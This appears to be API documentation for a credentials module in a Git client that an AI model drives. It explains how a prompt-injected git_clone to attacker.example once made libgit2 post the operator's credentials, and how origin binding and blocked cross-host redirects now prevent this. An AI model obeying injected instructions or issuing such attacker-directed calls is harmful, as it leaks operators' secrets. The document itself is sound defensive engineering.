Module credentials 

Where this client’s username / password may go.

The credentials are startup parameters — the forge password or token the operator gave this client for the repository it was opened on. libgit2 asks for them through a callback that names the remote’s URL, and until September 2026 the callback ignored that URL: git_clone, git_fetch and git_pull are open to the model (only pushes are gated by allow_remote_writes), so a model answering a prompt-injected git_clone {"url": "https://attacker.example/x.git"} met a 401 there and libgit2 posted the operator’s credentials to it.

A CredentialScope binds the pair to one origin — the scheme://host[:port] of the client’s remote_addr, or of the opened repository’s origin remote when remote_addr is a local path — and the callback refuses, by name, to offer them to any other. A client whose credentials cannot be bound to a host offers them nowhere.

The URL libgit2 hands the callback is the remote’s original URL, not the server it is talking to after a redirect, so the callback alone cannot see a redirect to another host: a bound forge answering 302 to attacker.example would have the attacker’s 401 answered with the operator’s credentials. fetch_options and push_options are therefore the only way this client builds options for a network operation, and both set RemoteRedirect::None: libgit2 then refuses a redirect to any other host, before connecting to it. libgit2 compares hosts only, so a redirect to another port or path on the same host is still followed; the credential then reaches a server on the host the operator bound it to.

Structs

CredentialScope

A username/password pair and the one origin it may be offered to.

Functions

fetch_options

Options for a fetch or clone: remote_callbacks for scope, and no redirect to another host (see the module documentation for why the callback alone is not enough).

push_options

Options for a push: remote_callbacks for scope, and no redirect to another host.

remote_callbacks

The libgit2 callbacks for one network operation: credentials offered to the scope’s origin and refused everywhere else. With no scope, nothing is offered and libgit2 reports the server’s 401 as it is.

remote_origin

scheme://host[:port] of a Git remote URL, host lowercased, userinfo dropped.